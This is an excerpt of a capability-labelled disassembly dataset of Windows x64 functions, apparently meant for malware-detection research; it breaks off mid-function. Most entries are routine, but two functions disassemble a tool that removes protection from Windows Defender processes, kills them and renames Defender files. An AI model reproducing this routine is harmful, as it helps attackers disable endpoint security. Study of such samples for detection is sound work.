joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004220
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov ebx, edx
mov r9d, dword [rax + rcx + 0x88]
mov r11, rcx
add r9, rcx
mov r10d, dword [r9 + 0x20]
mov edi, dword [r9 + 0x1c]
mov esi, dword [r9 + 0x24]
mov r9d, dword [r9 + 0x18]
add r10, rcx
add rdi, rcx
add rsi, rcx
test r9d, r9d
je 0x18000427f
mov ecx, dword [r10]
add rcx, r11
call fcn.180004190
cmp eax, ebx
je 0x180004291
inc r8d
add r10, 4
cmp r8d, r9d
jb 0x180004264
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
movzx ecx, word [rsi + r8*2]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov eax, dword [rdi + rcx*4]
add rax, r11
add rsp, 0x20
pop rdi
ret

Function at 0x18000b8ec
Capabilities:
Set current directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x18000b905
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
add rsp, 0x28
ret
Function at 0x14000105c
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xa0
lea rsi, str.60568DGPStudio.SnapHutao_wbnnev551gwxy
cmp ecx, 1
je 0x140001083
mov rsi, qword [rdx + 8]
or rcx, 0xffffffffffffffff
mov rdi, rcx
xor ebp, ebp
inc rdi
cmp word [rsi + rdi*2], bp
jne 0x14000108c
add rdi, 0x16
mov eax, 2
mul rdi
cmovb rax, rcx
mov rcx, rax
call fcn.1400013c0
mov rbx, rax
lea r9, str.shell:AppsFolder_
lea rax, str._App
mov rdx, rdi
mov qword [rsp + 0x28], rax
lea r8, str._s_s_s
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call fcn.140001008
mov edi, 0x70
lea rcx, [rsp + 0x30]
mov r8d, edi
xor edx, edx
call fcn.1400132b0
lea rax, str.runas
mov dword [rsp + 0x30], edi
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x34], 0x40
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x60], 5
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140001130
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0xa0]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140001878
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400018c2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400018c2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400018c2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400018c2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400018c2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400018c4
xor al, al
add rsp, 0x28
ret

Function at 0x1400076b0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000771f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000771f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000771f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000771f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000771f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000771f
cmp dword [rcx + 0xf8], 0
je 0x14000771f
mov ecx, ebx
call fcn.1400077d0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400075ac
nop
cmp dword [rbp + 0x20], 0
je 0x14000776d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140007778
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400076b0

Function at 0x1400078b4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400076b0
Function at 0x14000b984
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000ba0b
mov rsi, rbx
cmp word [rax], bp
je 0x14000b9ca
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000b9b4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000b9b0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140008730
mov rdi, rax
test rax, rax
je 0x14000b9f8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140013670
mov rbp, rdi
xor ecx, ecx
call fcn.1400086f4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140012d00
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140012d28
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140012d28
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1406929d8
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140692b5f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140692a09
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406929ef
add dl, dl
jne 0x140692a16
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140692a76
xor eax, eax
add dl, dl
jne 0x140692a25
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140692b2d
add dl, dl
jne 0x140692a36
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140692a43
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140692a50
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140692a5d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140692a6a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406929fe
mov eax, 1
add dl, dl
jne 0x140692a86
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140692a93
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140692a7b
sub eax, ebx
mov ebx, 1
jne 0x140692acc
mov ecx, 1
add dl, dl
jne 0x140692aae
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140692abb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140692aa3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406929fe
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140692ae8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140692af5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140692add
cmp eax, 0x7d00
jae 0x140692b1b
cmp eax, 0x500
jb 0x140692b16
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406929fe
cmp eax, 0x7f
ja 0x140692b1e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406929fe
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140692b52
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406929fe
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140661058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406611df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140661089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14066106f
add dl, dl
jne 0x140661096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406610f6
xor eax, eax
add dl, dl
jne 0x1406610a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406611ad
add dl, dl
jne 0x1406610b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406610c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406610d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406610dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406610ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14066107e
mov eax, 1
add dl, dl
jne 0x140661106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140661113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406610fb
sub eax, ebx
mov ebx, 1
jne 0x14066114c
mov ecx, 1
add dl, dl
jne 0x14066112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14066113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140661123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14066107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140661168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140661175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14066115d
cmp eax, 0x7d00
jae 0x14066119b
cmp eax, 0x500
jb 0x140661196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14066107e
cmp eax, 0x7f
ja 0x14066119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14066107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406611d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14066107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140694088
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14069420f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406940b9
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069409f
add dl, dl
jne 0x1406940c6
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140694126
xor eax, eax
add dl, dl
jne 0x1406940d5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406941dd
add dl, dl
jne 0x1406940e6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406940f3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140694100
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069410d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14069411a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406940ae
mov eax, 1
add dl, dl
jne 0x140694136
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140694143
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069412b
sub eax, ebx
mov ebx, 1
jne 0x14069417c
mov ecx, 1
add dl, dl
jne 0x14069415e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14069416b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140694153
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406940ae
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140694198
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406941a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069418d
cmp eax, 0x7d00
jae 0x1406941cb
cmp eax, 0x500
jb 0x1406941c6
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406940ae
cmp eax, 0x7f
ja 0x1406941ce
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406940ae
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140694202
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406940ae
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001070
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0xa0
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov r14, rdx
mov rbp, rcx
mov edx, 1
mov ecx, 0x100000
call fcn.1400094cc
mov rdi, rax
test rax, rax
je 0x140001103
xor r9d, r9d
mov r8d, 0x100000
mov rdx, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
js 0x140001103
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x140001103
mov eax, ebx
mov rdx, rbp
imul rcx, rax, 0x128
movzx eax, word [rcx + rdi + 0x2e]
add rax, 0x30
lea rsi, [rcx + rdi]
add rcx, rax
add rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140001139
inc ebx
cmp ebx, dword [rdi]
jb 0x1400010d4
lea rcx, str.ntoskrnl.exe_base_address_not_found._n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400052e0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov rbx, qword [rsi + 0x18]
test rbx, rbx
je 0x140001103
lea rdx, str.FLTMGR.sys
mov rcx, rbp
call fcn.14001adf0
test eax, eax
jne 0x1400011d1
mov eax, dword [0x140024bb0]
lea rcx, [rsp + 0x20]
movups xmm0, xmmword [str.C:windows_system32drivers_]
mov dword [rsp + 0x38], eax
mov rdx, rbp
movzx eax, byte [0x140024bb4]
movaps xmmword [rsp + 0x20], xmm0
movsd xmm0, qword [0x140024ba8]
movsd qword [rsp + 0x30], xmm0
xorps xmm0, xmm0
mov byte [rsp + 0x3c], al
xor eax, eax
movups xmmword [rsp + 0x3d], xmm0
mov dword [rsp + 0x7d], eax
movups xmmword [rsp + 0x4d], xmm0
mov word [rsp + 0x81], ax
movups xmmword [rsp + 0x5d], xmm0
mov byte [rsp + 0x83], al
movups xmmword [rsp + 0x6d], xmm0
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x1400011da
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000110f
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rbx, rdi
add rax, rbx
jmp 0x140001111
Function at 0x1400032d0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x20
mov r14d, ecx
mov r8d, ecx
mov ebx, 0x1000
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, rax
test rax, rax
jne 0x140003319
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r14d
lea rcx, str._RemovePPL__Failed_to_open__d__error__lu_n
mov r8d, eax
call fcn.140001010
xor eax, eax
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
mov qword [rsp + 0x40], rsi
mov edx, 1
mov rcx, rbx
mov qword [rsp + 0x58], rdi
call fcn.1400094cc
xor edi, edi
lea r9, [rsp + 0x50]
mov r8d, ebx
mov dword [rsp + 0x50], edi
mov rdx, rax
mov rsi, rax
lea ecx, [rdi + 0x40]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140003392
mov rcx, rsi
call fcn.14000c8d0
add ebx, ebx
cmp ebx, 0x20000000
ja 0x140003396
mov ecx, ebx
mov edx, 1
call fcn.1400094cc
lea r9, [rsp + 0x50]
mov r8d, ebx
mov rdx, rax
mov ecx, 0x40
mov rsi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140003354
test eax, eax
jns 0x1400033b7
lea rcx, str._RemovePPL__NtQuerySystemInformation_failed_to_obtain_handle__n
call fcn.140001010
xor eax, eax
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdx, qword [rsi]
test rdx, rdx
je 0x1400033a2
mov rcx, rdi
mov r8d, eax
nop dword [rax + rax]
lea rax, [rcx + rcx*4]
cmp qword [rsi + rax*8 + 0x18], r8
lea rcx, [rsi + rax*8]
jne 0x1400033e8
movzx eax, bp
cmp qword [rcx + 0x20], rax
je 0x1400033f3
inc edi
mov ecx, edi
cmp rcx, rdx
jb 0x1400033d0
jmp 0x1400033a2
mov rdx, qword [rcx + 0x10]
test rdx, rdx
je 0x1400033a2
mov eax, dword [0x14002bc78]
cmp eax, 0x3fab
ja 0x14000344e
je 0x14000348f
cmp eax, 0x2580
je 0x140003447
cmp eax, 0x2800
je 0x140003440
cmp eax, 0x295a
je 0x140003439
cmp eax, 0x3839
je 0x140003432
cmp eax, 0x3ad7
jmp 0x14000346b
mov eax, 0x6c2
jmp 0x140003494
mov eax, 0x6b2
jmp 0x140003494
mov eax, 0x6aa
jmp 0x140003494
mov eax, 0x67a
jmp 0x140003494
mov ecx, eax
sub ecx, 0x42ee
je 0x14000348f
sub ecx, 0x275
je 0x14000348f
sub ecx, 0x257
je 0x14000348f
cmp ecx, 1
je 0x14000348f
cmp eax, 0x4a61
jb 0x14000347b
mov eax, 0x87a
jmp 0x140003494
mov edx, r14d
lea rcx, str._RemovePPL__The_offset_address_of__d_was_not_found__this_Windows_version_requires_adaptation__n
call fcn.140001010
jmp 0x1400033a2
mov eax, 0x6ca
add rdx, rax
mov byte [rsp + 0x48], 0
mov r8d, 1
lea rcx, [rsp + 0x48]
call fcn.140004bd0
mov eax, 1
jmp 0x1400033a4
Function at 0x1400034c0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub rsp, 0x458
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x440], rax
cmp dword [0x14002bc70], 0xa
jb 0x1400036f6
xor edx, edx
mov qword [rsp + 0x450], rdi
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400036b8
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400036af
mov qword [rsp + 0x460], rbx
nop dword [rax]
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x104
call fcn.1400063d0
mov r8d, 0x103
lea rdx, [rsp + 0x4c]
lea rcx, [rsp + 0x260]
call fcn.14000c68c
lea rdx, str.msmpeng.exe
lea rcx, [rsp + 0x260]
call fcn.14000c800
test eax, eax
je 0x1400035a9
lea rdx, str.nissrv.exe
lea rcx, [rsp + 0x260]
call fcn.14000c800
test eax, eax
je 0x1400035a9
lea rdx, str.mpcmdrun.exe
lea rcx, [rsp + 0x260]
call fcn.14000c800
test eax, eax
jne 0x140003691
mov ecx, dword [rsp + 0x28]
call fcn.1400032d0
test eax, eax
jne 0x1400035ca
lea rdx, [rsp + 0x260]
lea rcx, str._ss_PPL_Remove_Faild._n
call fcn.140001010
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x1001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140003646
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rsp + 0x260]
lea rcx, str.Failed_to_open__s__error__lu__Try_to_use_taskkill__please_manually_check_whether_the_kill_is_successful__n
call fcn.140001010
xor edx, edx
lea rcx, [rsp + 0x370]
mov r8d, 0xc8
call fcn.1400063d0
lea r9, [rsp + 0x260]
mov edx, 0xc8
lea r8, str.taskkill__f__im__s
lea rcx, [rsp + 0x370]
call fcn.140002c80
lea rcx, [rsp + 0x370]
call fcn.1400039f0
jmp 0x140003691
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x14000366b
lea rdx, [rsp + 0x260]
lea rcx, str._Success__Killed__s._n
call fcn.140001010
jmp 0x140003688
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rsp + 0x260]
lea rcx, str.Failed_to_terminate__s__error__lu_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003530
mov rbx, qword [rsp + 0x460]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:ProgramDataMicrosoftWindows_DefenderPlatform
call fcn.140003710
lea rcx, str.C:Program_Files__x86_Windows_Defender
call fcn.140003710
lea rcx, str.C:Program_FilesWindows_Defender
call fcn.140003710
mov edx, dword [0x14002bc7c]
lea rcx, str._INFO__A_total_of___d_Defender_file__was_renamed__msmpeng.exe__nissrv.exe__and_mpcmdrun.exe_were_all_renamed._n
call fcn.140001010
mov rdi, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1400052e0
add rsp, 0x458
ret
Function at 0x140005cd4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005d1e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005d1e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005d1e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005d1e
cmp dword [rcx + 0x84], 0xe
jbe 0x140005d1e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005d20
xor al, al
add rsp, 0x28
ret

Function at 0x1400094c0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000932b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000932b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000932b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000932b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000932b
cmp dword [rcx + 0x84], 0xe
jbe 0x14000932b
cmp dword [rcx + 0xf8], 0
je 0x14000932b
mov ecx, ebx
call fcn.1400093dc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400091b8
nop
cmp dword [rbp + 0x20], 0
je 0x140009379
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140009384
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400092bc
Function at 0x140012df4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140012e24
xor eax, eax
jmp 0x140012ee7
mov rbp, rbx
cmp word [rax], si
je 0x140012e49
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140012e30
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140012e2c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400111c0
movsxd r14, eax
test eax, eax
jne 0x140012e87
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140012e1d
mov rcx, r14
call fcn.14000f3b8
mov rdi, rax
test rax, rax
jne 0x140012ea0
xor ecx, ecx
call fcn.14000e740
jmp 0x140012e7c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400111c0
test eax, eax
jne 0x140012ed1
mov rcx, rdi
call fcn.14000e740
jmp 0x140012edb
xor ecx, ecx
call fcn.14000e740
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400170ec
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140017102
mov al, 1
jmp 0x140017162
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140017113
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140017160
